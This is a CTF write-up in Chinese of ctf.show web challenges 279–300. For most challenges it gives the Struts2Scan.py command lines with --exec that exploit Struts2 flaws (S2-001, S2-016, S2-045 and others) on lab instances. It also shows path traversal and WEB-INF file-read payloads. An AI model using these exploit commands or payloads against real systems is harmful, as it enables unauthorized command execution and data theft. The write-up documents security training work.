好东西专打
全部题都是struts2框架漏洞
使用方法在md里面下载地址
web279
S2-001漏洞
先访问S2-001页面,然后用工具
查看源代码发现链接
python Struts2Scan.py -u https://a60a1ecb-8dd1-48f7-86bc-dfe151d70225.challenge.ctf.show/S2-001/login.action
python Struts2Scan.py -u https://a60a1ecb-8dd1-48f7-86bc-dfe151d70225.challenge.ctf.show/S2-001/login.action -n S2-001 --exec
然后执行env命令
env 命令是一个用于显示系统环境变量的实用程序。它允许你查看当前 shell
的环境变量设置,或者在运行命令时临时修改环境变量。通常,它用于查看或更改与进程相关的环境变量,例如 PATH,HOME 等。
web280
一样的做法查看源代码发现
扫描以后发现S2-015
python Struts2Scan.py -u https://d212099d-35c3-4d24-8cbe-620eedddb33c.challenge.ctf.show/S2-005/example/HelloWorld.action -n S2-016 --exec
有两个漏洞但是最后只有S2-016才能命令执行
web281
python Struts2Scan.py -u https://9f922905-e0a8-41bb-9ac3-0d93ced12812.challenge.ctf.show/S2-007/user.action -n S2-016 --exec
web282
姿势1:
python Struts2Scan.py -u https://74dce53a-d465-4735-b9c5-63ee3ebfe046.challenge.ctf.show/S2-008/cookie.action -n S2-016 --exec
姿势2:
下面这两个都行
python Struts2Scan.py -u https://74dce53a-d465-4735-b9c5-63ee3ebfe046.challenge.ctf.show/S2-008/devmode.action -n S2-016 --exec
python Struts2Scan.py -u https://74dce53a-d465-4735-b9c5-63ee3ebfe046.challenge.ctf.show/S2-008/devmode.action -n S2-devMode --exec
web283
python Struts2Scan.py -u https://eb329dd7-bb13-4437-8b37-af1a1f1f5380.challenge.ctf.show/S2-009/showcase.action -n S2-008 --exec
web284
python Struts2Scan.py -u https://40b3d021-4604-483b-bc99-656ce7e2c8c7.challenge.ctf.show/S2-012/user.action -n S2-016 --exec
web285
python Struts2Scan.py -u https://3a33e97d-4230-45a1-922f-95123743a2b8.challenge.ctf.show/S2-013/link.action -n S2-001 --exec
python Struts2Scan.py -u https://3a33e97d-4230-45a1-922f-95123743a2b8.challenge.ctf.show/S2-013/link.action -n S2-013 --exec
python Struts2Scan.py -u https://3a33e97d-4230-45a1-922f-95123743a2b8.challenge.ctf.show/S2-013/link.action -n S2-016 --exec
web286
python Struts2Scan.py -u https://09f723c9-d0cb-4ea1-9654-81d93e1a5405.challenge.ctf.show/S2-015/welcome.action -n S2-016 --exec
python Struts2Scan.py -u https://09f723c9-d0cb-4ea1-9654-81d93e1a5405.challenge.ctf.show/S2-015/welcome.action -n S2-045 --exec
有很多姿势,我试了一下基本都是上面这两个漏洞
web287
python Struts2Scan.py -u https://640840ba-1b73-466c-9f7d-8eeb50bae55f.challenge.ctf.show/S2-016/default.action -n S2-045 --exec
python Struts2Scan.py -u https://640840ba-1b73-466c-9f7d-8eeb50bae55f.challenge.ctf.show/S2-016/default.action -n S2-016 --exec
web288
python Struts2Scan.py -u https://e5127f3e-e1e6-4091-811a-f6811de222c2.challenge.ctf.show/S2-019/example/HelloWorld.action?request_locale=en -n S2-045 --exec
web289
python Struts2Scan.py -u https://b7de196d-532d-4e88-a3ce-d032c820eb09.challenge.ctf.show/S2-029/ -n S2-045 --exec
web290
python Struts2Scan.py -u https://31c024bb-0b84-449c-8c5f-6f761c8f2f33.challenge.ctf.show/S2-032/ -n S2-045 --exec
web291
python Struts2Scan.py -u https://1636cbbe-1126-46ea-a1f0-2bd4d0ac19a8.challenge.ctf.show/S2-033/orders -n S2-045 --exec
web292
python Struts2Scan.py -u https://24ec62e6-b7d5-4821-9bc2-e1bc603c6999.challenge.ctf.show/S2-037/orders -n S2-045 --exec
web293
python Struts2Scan.py -u https://f4a969e5-1e8b-4fda-bffd-c241e4176608.challenge.ctf.show/S2-045/orders -n S2-045 --exec
web294
这里又学到了,他说不存在不代表不能进行命令执行,前面有一道是S2-062的我估计就是被骗了,应该是直接env就能有的
python Struts2Scan.py -u https://7c19c756-c0de-4fde-a57e-3aef648217d8.challenge.ctf.show/S2-046/doUpload.action -n S2-046 --exec
web295
这个用工具暂时打不通先欠着
web296
python Struts2Scan.py -u https://d3bc5c63-3e6e-4fdd-84ae-d89b8a442bea.challenge.ctf.show/S2-052/orders -n S2-045 --exec
web297
python Struts2Scan.py -u https://2e8af7c0-216b-4f43-a382-6023972a2442.challenge.ctf.show/S2-053/?name=VulApps+ -n S2-045 --exec
web298
下载一个软件进行反编译
最前比较好的
然后根据自己有没有jre来选链接
要使得user里面的getVipStatus为真就可以得到flag
但是不知道在于是扫后台
然后直接传没有反应进入login页面
url/ctfshow/login?username=admin&password=ctfshow
web299
查看源代码发现这个任意文件读取漏洞
最后就是这样
/view-source?file=../../../../../fl3g
web300
?file=WEB-INF/web.xml
发现这个比较有可能是com.ctfshow.servlet.PhpServlet
?file=WEB-INF/classes/com/ctfshow/servlet/PhpServlet.class
欧克没找到flag重新回去看
com.ctfshow.servlet.GetFlag
还有这个
?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
然后解释一下这两道题
WEB-INF 目录中包含了以下两个重要的子目录:
WEB-INF/classes:用于存放编译后的类文件(.class 文件),这些类文件包含了 Servlet、Filter、Listener 等组件的实现代码。Servlet 容器会在启动时将这些类加载到内存中,并根据配置来处理客户端请求。
WEB-INF/lib:用于存放应用程序所需的依赖库(JAR 文件)。这些 JAR 文件中包含了你的应用程序所依赖的第三方库或者框架。Servlet 容器会在启动时将这些依赖库中的类加载到类路径中,以供应用程序使用。
除了这两个子目录外,WEB-INF 目录中通常还包含一个 web.xml 文件,用于配置 Web 应用程序的部署描述符(Deployment Descriptor)。web.xml 文件中包含了 Servlet、Filter、Listener 等组件的配置信息,以及一些应用程序级别的参数设置。
那么我们的思路就是在WEB-INF/web.xml
去找类然后再去找flag
所以这就是?file=WEB-INF/classes/com/ctfshow/servlet/GetFlag.class
为什么这么写的原因
然后我们找到了flag
为什么是五次返回上级目录才会出现flag呢这个数都数的出来flag是在五级目录下的,回到网页要五次,再不济多加几个返回上级目录../
也无伤大雅
用脚本打的别忘了看原理浮现漏洞各位师傅(我现在去看了)